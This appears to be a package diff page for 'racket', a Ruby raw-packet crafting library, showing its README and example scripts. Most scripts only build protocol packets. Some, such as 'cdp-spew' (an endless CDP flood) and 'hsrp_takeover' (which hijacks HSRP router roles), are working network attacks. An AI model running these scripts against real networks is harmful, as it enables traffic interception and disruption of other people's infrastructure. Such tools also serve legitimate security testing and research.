racket 1.0.10

Sign up to get free protection for your applications and to get access to all the features.
Files changed (88) hide show
  1. data/README +76 -0
  2. data/examples/arp-send +24 -0
  3. data/examples/arp-send2 +30 -0
  4. data/examples/cdp +39 -0
  5. data/examples/cdp-spew +52 -0
  6. data/examples/dhcp +42 -0
  7. data/examples/dhcp-spew +48 -0
  8. data/examples/dns +38 -0
  9. data/examples/egp +30 -0
  10. data/examples/hsrp +43 -0
  11. data/examples/hsrp_takeover +69 -0
  12. data/examples/icmp-recv +34 -0
  13. data/examples/icmp-spew +50 -0
  14. data/examples/icmpv6 +84 -0
  15. data/examples/icmpv6-spew +50 -0
  16. data/examples/igmpv1 +27 -0
  17. data/examples/igmpv2 +27 -0
  18. data/examples/igrp-send +25 -0
  19. data/examples/ipv6 +35 -0
  20. data/examples/ntp +38 -0
  21. data/examples/ntp2 +42 -0
  22. data/examples/sctp +32 -0
  23. data/examples/stp-send +21 -0
  24. data/examples/synflood +147 -0
  25. data/examples/tcp +43 -0
  26. data/examples/tcp2udp +65 -0
  27. data/examples/udp +46 -0
  28. data/examples/vrrp +34 -0
  29. data/examples/vtp +28 -0
  30. data/lib/racket.rb +4 -0
  31. data/lib/racket/l2.rb +30 -0
  32. data/lib/racket/l2/eightotwodotthree.rb +48 -0
  33. data/lib/racket/l2/ethernet.rb +62 -0
  34. data/lib/racket/l2/llc.rb +50 -0
  35. data/lib/racket/l2/misc.rb +67 -0
  36. data/lib/racket/l2/snap.rb +40 -0
  37. data/lib/racket/l2/vlan.rb +61 -0
  38. data/lib/racket/l2/vtp.rb +124 -0
  39. data/lib/racket/l3.rb +30 -0
  40. data/lib/racket/l3/arp.rb +63 -0
  41. data/lib/racket/l3/cdp.rb +85 -0
  42. data/lib/racket/l3/egp.rb +53 -0
  43. data/lib/racket/l3/ipv4.rb +132 -0
  44. data/lib/racket/l3/ipv6.rb +66 -0
  45. data/lib/racket/l3/misc.rb +165 -0
  46. data/lib/racket/l3/stp.rb +81 -0
  47. data/lib/racket/l4.rb +30 -0
  48. data/lib/racket/l4/gre.rb +65 -0
  49. data/lib/racket/l4/icmp.rb +295 -0
  50. data/lib/racket/l4/icmpv6.rb +446 -0
  51. data/lib/racket/l4/igmpv1.rb +79 -0
  52. data/lib/racket/l4/igmpv2.rb +76 -0
  53. data/lib/racket/l4/igrp.rb +138 -0
  54. data/lib/racket/l4/misc.rb +35 -0
  55. data/lib/racket/l4/sctp.rb +163 -0
  56. data/lib/racket/l4/tcp.rb +152 -0
  57. data/lib/racket/l4/udp.rb +81 -0
  58. data/lib/racket/l4/vrrp.rb +95 -0
  59. data/lib/racket/l5.rb +30 -0
  60. data/lib/racket/l5/bootp.rb +106 -0
  61. data/lib/racket/l5/dns.rb +110 -0
  62. data/lib/racket/l5/hsrp.rb +73 -0
  63. data/lib/racket/l5/misc.rb +35 -0
  64. data/lib/racket/l5/ntp.rb +59 -0
  65. data/lib/racket/misc.rb +30 -0
  66. data/lib/racket/misc/lv.rb +108 -0
  67. data/lib/racket/misc/misc.rb +61 -0
  68. data/lib/racket/misc/orderedhash.rb +63 -0
  69. data/lib/racket/misc/raw.rb +35 -0
  70. data/lib/racket/misc/tlv.rb +103 -0
  71. data/lib/racket/misc/vt.rb +114 -0
  72. data/lib/racket/racket.rb +164 -0
  73. data/lib/racket/racketpart.rb +66 -0
  74. data/test/l2/ts_ethernet.rb +22 -0
  75. data/test/l2/ts_misc.rb +23 -0
  76. data/test/l2/ts_vlan.rb +15 -0
  77. data/test/l3/ts_ipv4.rb +44 -0
  78. data/test/l3/ts_ipv6.rb +26 -0
  79. data/test/l3/ts_misc.rb +31 -0
  80. data/test/l4/ts_icmp.rb +38 -0
  81. data/test/l4/ts_tcp.rb +55 -0
  82. data/test/l4/ts_udp.rb +40 -0
  83. data/test/misc/ts_lv.rb +59 -0
  84. data/test/misc/ts_orderedhash.rb +33 -0
  85. data/test/misc/ts_tlv.rb +47 -0
  86. data/test/misc/ts_vt.rb +56 -0
  87. data/test/ts_all.rb +14 -0
  88. metadata +182 -0
data/README ADDED
@@ -0,0 +1,76 @@
1
+ # $Id: README 179 2010-10-15 06:29:49Z jhart $
2
+
3
+ Racket -- Ruby Raw Packet library.
4
+
5
+ Comments, concerns, bugs, money, food, libations to:
6
+
7
+ Jon Hart <jhart@spoofed.org>
8
+
9
+ Installation is simple:
10
+
11
+ gem install --source http://spoofed.org/files/racket/ racket
12
+
13
+ If you desire the source:
14
+
15
+ svn co http://spoofed.org/racket/svn racket
16
+
17
+ Includes support for reading and writing most major layer 2, 3, 4 and
18
+ 5 protocols.
19
+
20
+ Basic packet construction and writing is as simple (!) as walking
21
+ the stack:
22
+
23
+ require 'rubygems'
24
+ require 'racket'
25
+
26
+ include Racket
27
+ unless (ARGV.size == 4)
28
+ puts "Usage: #{$0} <srcip> <dstip> <dst_port> <size>"
29
+ exit
30
+ end
31
+
32
+ # create a new Racket object and pick an interface
33
+ n = Racket::Racket.new
34
+ n.iface = "eth0"
35
+
36
+ # skip right to layer3, layer2 will be done automatically
37
+ # build a new IPv4 layer, and assign src and dst ip from the command line
38
+ n.l3 = IPv4.new
39
+ n.l3.src_ip = ARGV[0]
40
+ n.l3.dst_ip = ARGV[1]
41
+ n.l3.protocol = 0x11
42
+
43
+ # tack on UDP
44
+ n.l4 = UDP.new
45
+ # randomize source port
46
+ n.l4.src_port = 1024 + rand(65535-1024)
47
+ # take destination port from the commandline
48
+ n.l4.dst_port = ARGV[2].to_i
49
+ # build a random amount of garbage for the payload
50
+ n.l4.payload = Misc.randstring(ARGV[3].to_i)
51
+
52
+ # fix 'er up (checksum, length) prior to sending
53
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
54
+
55
+ # off you go
56
+ f = n.sendpacket
57
+
58
+ # print out what we built
59
+ n.layers.compact.each do |l|
60
+ puts l.pretty
61
+ end
62
+ puts "Sent #{f}"
63
+
64
+ Packet reading, done through something like Pcap, is pretty straight forward too:
65
+
66
+ require 'rubygems'
67
+ require 'racket'
68
+
69
+ # Get the raw capture data from somewhere. In this case, I've hardcoded it
70
+ binary = "\x45\x10\x00\x3c\x2f\xdf\x40\x00\x40\x06\x89\x17\xc0\xa8\x00\x64\xc0\xa8\x00\x01\x99\xb7\x00\x35\x29\x39\x28\x66\x00\x00\x00\x00\xa0\x02\x16\xd0\xbc\x04\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\x31\x07\xb9\x00\x00\x00\x00\x01\x03\x03\x07"
71
+ i = Racket::IPv4.new(binary)
72
+
73
+ # this will print it out all pretty like, and should show a 60 byte TCP packet from 192.168.0.100 to 192.168.0.1
74
+ puts i.pretty
75
+
76
+
data/examples/arp-send ADDED
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: arp-send 153 2009-12-13 06:29:10Z jhart $
4
+ #
5
+ # Example that just writes a simple arp packet to eth0
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+
11
+ unless (ARGV.size == 2)
12
+ puts "Usage: #{$0} <interface> <opcode>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = ARGV[0]
18
+
19
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
20
+ n.l2.ethertype = 0x0806
21
+ n.l3 = L3::ARP.new
22
+ n.l3.opcode = ARGV[1].to_i
23
+
24
+ n.sendpacket
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: arp-send2 153 2009-12-13 06:29:10Z jhart $
4
+ #
5
+ # Send an arp packet that is VLAN tagged
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ unless (ARGV.size == 7)
10
+ puts "Usage: #{$0} <interface> <vlan> <opcode> <sha> <spa> <tha> <tpa>"
11
+ exit
12
+ end
13
+
14
+ include Racket
15
+ n = Racket::Racket.new
16
+ n.iface = ARGV[0]
17
+
18
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
19
+ n.l2.ethertype = 0x8100
20
+ n.l3 = L2::VLAN.new
21
+ n.l3.type = 0x0806
22
+ n.l3.id = ARGV[1].to_i
23
+ n.l4 = L3::ARP.new
24
+ n.l4.opcode = ARGV[2].to_i
25
+ n.l4.sha = ARGV[3]
26
+ n.l4.spa = ARGV[4]
27
+ n.l4.tha = ARGV[5]
28
+ n.l4.tpa = ARGV[6]
29
+
30
+ n.sendpacket
data/examples/cdp ADDED
@@ -0,0 +1,39 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: cdp 154 2009-12-13 19:52:32Z jhart $
4
+ #
5
+ # Send amusing CDP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ unless (ARGV.size == 1)
10
+ puts "Usage: #{$0} <interface>"
11
+ exit
12
+ end
13
+
14
+ include Racket
15
+ n = Racket::Racket.new
16
+ n.iface = ARGV[0]
17
+
18
+ n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14))
19
+ n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
20
+ n.layers[2].length = 0
21
+ n.layers[3] = L2::LLC.new()
22
+ n.layers[4] = L2::SNAP.new()
23
+ n.layers[4].pid = 0x2000
24
+
25
+ n.layers[5] = L3::CDP.new()
26
+ n.layers[5].version = 1
27
+ n.layers[5].add_field(1, "CDP, FTW!")
28
+ n.layers[5].add_field(3, "PetabitEthernet0/1")
29
+ n.layers[5].add_field(5, "Some really old version of IOS that nobody, except you, uses.")
30
+ n.layers[5].add_field(6, "Linux")
31
+ n.layers[5].add_field(4, "\xff\xff\xff\xff") # capabilities galore!
32
+ n.layers[5].add_field(9, "wtf.edu") # vlan management domain
33
+ n.layers[5].add_field(10, "\x00\x20")
34
+
35
+ n.layers.compact.each do |l|
36
+ puts l.pretty
37
+ end
38
+
39
+ n.sendpacket
data/examples/cdp-spew ADDED
@@ -0,0 +1,52 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: cdp-spew 156 2009-12-14 02:27:22Z jhart $
4
+ #
5
+ # Spew CDP packets to all Cisco devices on the network
6
+ #
7
+ # Jon Hart <jhart@spoofed.org>
8
+
9
+ require 'rubygems'
10
+ require 'racket'
11
+ include Racket
12
+
13
+ unless (ARGV.size >= 1)
14
+ puts "Usage: #{$0} <iface> [num fields per CDP packet]"
15
+ exit
16
+ end
17
+
18
+ def tick
19
+ @it += 1
20
+ @it = 0 if @it >= @ticks.size
21
+ print "\r#{@ticks[@it]}"
22
+ STDOUT.flush
23
+ end
24
+
25
+ def randcdp
26
+ @n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14))
27
+ @n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
28
+ @n.layers[2].length = 0
29
+ @n.layers[3] = L2::LLC.new()
30
+ @n.layers[4] = L2::SNAP.new()
31
+ @n.layers[4].pid = 0x2000
32
+ @n.layers[5] = L3::CDP.new()
33
+ @n.layers[5].version = 1
34
+
35
+ limit = ARGV[1].to_i || 100
36
+ 1.upto(limit) do |f|
37
+ @n.layers[5].add_field(f, Misc.randstring(5))
38
+ end
39
+ @n.sendpacket
40
+ tick
41
+ end
42
+
43
+ @it = 0
44
+ @ticks = %w( / - \\ | )
45
+
46
+ @n = Racket::Racket.new
47
+ @n.iface = ARGV[0]
48
+
49
+ puts "Spewing..."
50
+ while (true)
51
+ randcdp
52
+ end
data/examples/dhcp ADDED
@@ -0,0 +1,42 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: dhcp 174 2010-08-21 22:26:52Z jhart $
4
+ #
5
+ # Send useless DHCP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+
11
+ unless (ARGV.size == 2)
12
+ puts "Usage: #{$0} <srcip> <dstip>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = "eth0"
18
+
19
+ n.layers[3] = L3::IPv4.new
20
+ n.layers[3].src_ip = ARGV[0]
21
+ n.layers[3].dst_ip = ARGV[1]
22
+ n.layers[3].version = 4
23
+ n.layers[3].hlen = 0x5 #
24
+ n.layers[3].ttl = 44
25
+ n.layers[3].protocol = 0x11
26
+
27
+ n.layers[4] = L4::UDP.new
28
+ n.layers[4].src_port = 68
29
+ n.layers[4].dst_port = 67
30
+
31
+ n.layers[5] = L5::BOOTP.new
32
+ n.layers[5].yip = "192.168.0.4"
33
+ n.layers[5].file = "foobar?"
34
+
35
+ n.layers[4].payload = n.layers[5]
36
+ n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
37
+ n.layers[4].payload = ""
38
+
39
+ f = n.sendpacket
40
+
41
+ puts "Sent! #{f}"
42
+ # vim: set ts=2 et sw=2:
@@ -0,0 +1,48 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: dhcp-spew 174 2010-08-21 22:26:52Z jhart $
4
+ #
5
+ # Send useless DHCP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+ unless (ARGV.size == 2)
11
+ puts "Usage: #{$0} <srcip> <dstip>"
12
+ exit
13
+ end
14
+
15
+ n = Racket::Racket.new
16
+ n.iface = "eth0"
17
+
18
+ n.layers[3] = L3::IPv4.new
19
+ n.layers[3].src_ip = ARGV[0]
20
+ n.layers[3].dst_ip = ARGV[1]
21
+ n.layers[3].version = 4
22
+ n.layers[3].hlen = 0x5 #
23
+ n.layers[3].ttl = 44
24
+ n.layers[3].protocol = 0x11
25
+
26
+ n.layers[4] = L4::UDP.new
27
+ n.layers[4].src_port = 68
28
+ n.layers[4].dst_port = 67
29
+
30
+ n.layers[5] = L5::BOOTP.new
31
+ n.layers[5].type = 1
32
+ n.layers[5].id = 0x12345
33
+ n.layers[5].yip = "192.168.0.4"
34
+ n.layers[5].chaddr = "00:de:ad:ba:be:ff"
35
+ #n.layers[5].file = "foobar?"
36
+ #n.layers[5].add_option(4, "\x11\x22\x33\x44")
37
+ n.layers[5].add_option(53, "\x01")
38
+
39
+ n.layers[5].fix!
40
+
41
+ n.layers[4].payload = n.layers[5]
42
+ n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
43
+ n.layers[4].payload = ""
44
+
45
+ f = n.sendpacket
46
+
47
+ puts "Sent! #{f}"
48
+ # vim: set ts=2 et sw=2:
data/examples/dns ADDED
@@ -0,0 +1,38 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: dns 172 2010-03-16 07:07:04Z jhart $
4
+ #
5
+ # Send a DNS request
6
+
7
+ require 'rubygems'
8
+ require 'racket'
9
+
10
+ include Racket
11
+ unless (ARGV.size == 3)
12
+ puts "Usage: #{$0} <srcip> <dstip> <domain>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = "eth0"
18
+
19
+ n.l3 = Racket::L3::IPv4.new
20
+ n.l3.src_ip = ARGV[0]
21
+ n.l3.dst_ip = ARGV[1]
22
+ n.l3.protocol = 0x11
23
+
24
+ n.l4 = Racket::L4::UDP.new
25
+ n.l4.src_port = 48484
26
+ n.l4.dst_port = 53
27
+
28
+ n.l5 = Racket::L5::DNS.new
29
+ n.l5.add_question(ARGV[2], 1, 1)
30
+ n.l4.payload = n.l5
31
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
32
+ n.l4.payload = ""
33
+
34
+ f = n.sendpacket
35
+ n.layers.compact.each do |l|
36
+ puts l.pretty
37
+ end
38
+ puts "Sent #{f}"
data/examples/egp ADDED
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: egp 174 2010-08-21 22:26:52Z jhart $
4
+ #
5
+
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+ unless (ARGV.size == 3)
11
+ puts "Usage: #{$0} <srcip> <dstip> <code>"
12
+ exit
13
+ end
14
+
15
+ n = Racket::Racket.new
16
+ n.iface = "eth0"
17
+
18
+ n.l3 = L3::IPv4.new
19
+ n.l3.src_ip = ARGV[0]
20
+ n.l3.dst_ip = ARGV[1]
21
+ n.l3.protocol = 0x8
22
+
23
+ n.l4 = L3::EGP.new
24
+ n.l4.code = ARGV[2].to_i
25
+
26
+ f = n.sendpacket
27
+ n.layers.compact.each do |l|
28
+ puts l.pretty
29
+ end
30
+ puts "Sent #{f}"
data/examples/hsrp ADDED
@@ -0,0 +1,43 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: hsrp 174 2010-08-21 22:26:52Z jhart $
4
+ #
5
+ #
6
+ # Make all of your Cisco devices unhappy by hurling HSRP packets
7
+ # at them. Hot, Hot HSRP takeover.
8
+ require 'rubygems'
9
+ require 'racket'
10
+
11
+ include Racket
12
+ unless (ARGV.size == 3)
13
+ puts "Usage: #{$0} <srcip> <group> <vip>"
14
+ exit
15
+ end
16
+
17
+ n = Racket::Racket.new
18
+ n.iface = "eth0"
19
+
20
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
21
+ n.l2.ethertype = 0x0800
22
+ n.l2.dst_mac = "01:00:5e:00:00:02"
23
+
24
+ n.l3 = L3::IPv4.new
25
+ n.l3.protocol = 17
26
+ n.l3.dst_ip = "224.0.0.2"
27
+ n.l3.src_ip = ARGV[0]
28
+
29
+ n.l4 = L4::UDP.new
30
+ n.l4.src_port = 1985
31
+ n.l4.dst_port = 1985
32
+
33
+ n.l5 = L5::HSRP.new
34
+ n.l5.vip = ARGV[2]
35
+ n.l5.group = ARGV[1].to_i
36
+
37
+ n.l4.payload = n.l5
38
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
39
+ n.l4.payload = ""
40
+
41
+ n.sendpacket
42
+
43
+ puts n.pretty
@@ -0,0 +1,69 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id: hsrp_takeover 174 2010-08-21 22:26:52Z jhart $
4
+ #
5
+ #
6
+ # Listen for HSRP broadcasts and use the information learned
7
+ # therein to perform an active "takeover" of that VIP. Evil.
8
+ #
9
+ # Jon Hart <jhart@spoofed.org>
10
+
11
+ require 'rubygems'
12
+ require 'pcaprub'
13
+ require 'racket'
14
+
15
+ include Racket
16
+ if (ARGV.size != 2)
17
+ puts "Usage: #{$0} <iface> <new router>"
18
+ exit
19
+ end
20
+
21
+ iface = ARGV[0]
22
+ router = ARGV[1]
23
+
24
+ begin
25
+ p = Pcap::open_live(iface, 1500, true, 1000)
26
+ unless (iface.nil?)
27
+ p.setfilter("! host #{router}")
28
+ end
29
+ rescue Exception => e
30
+ puts "Pcap: Cannot open device #{ARGV[0]}: #{e}"
31
+ exit
32
+ end
33
+
34
+ # prep our new takeover.
35
+ takeover = Racket::Racket.new
36
+ takeover.l3 = L3::IPv4.new
37
+ takeover.l3.src_ip = router
38
+ takeover.l3.dst_ip = "224.0.0.2"
39
+ takeover.l3.protocol = 17
40
+ takeover.l4 = L4::UDP.new
41
+ takeover.l4.src_port = 1985
42
+ takeover.l4.dst_port = 1985
43
+
44
+ p.each do |pkt|
45
+ if (p.datalink == Pcap::DLT_EN10MB)
46
+ puts "Found ethernet"
47
+ eth = L2::Ethernet.new(pkt)
48
+ if (eth.ethertype == 0x0800)
49
+ ip = L3::IPv4.new(eth.payload)
50
+ if (ip.protocol == 17)
51
+ udp = L4::UDP.new(ip.payload)
52
+ if (udp.src_port == 1985 && udp.dst_port == 1985)
53
+ takeover.l5 = L5::HSRP.new(udp.payload)
54
+ takeover.l5.opcode = L5::HSRP::HSRP_HELLO
55
+ takeover.l5.state = L5::HSRP::HSRP_ACTIVE
56
+ takeover.l5.priority = 0xffff
57
+
58
+ takeover.l4.payload = takeover.l5
59
+ takeover.l4.fix!(takeover.l3.src_ip, takeover.l3.dst_ip)
60
+ takeover.l4.payload = ""
61
+
62
+ puts "Perfoming takeover on #{takeover.l5.vip}"
63
+ takeover.sendpacket
64
+ end
65
+ end
66
+ end
67
+ end
68
+ end
69
+ # vim: set ts=2 et sw=2: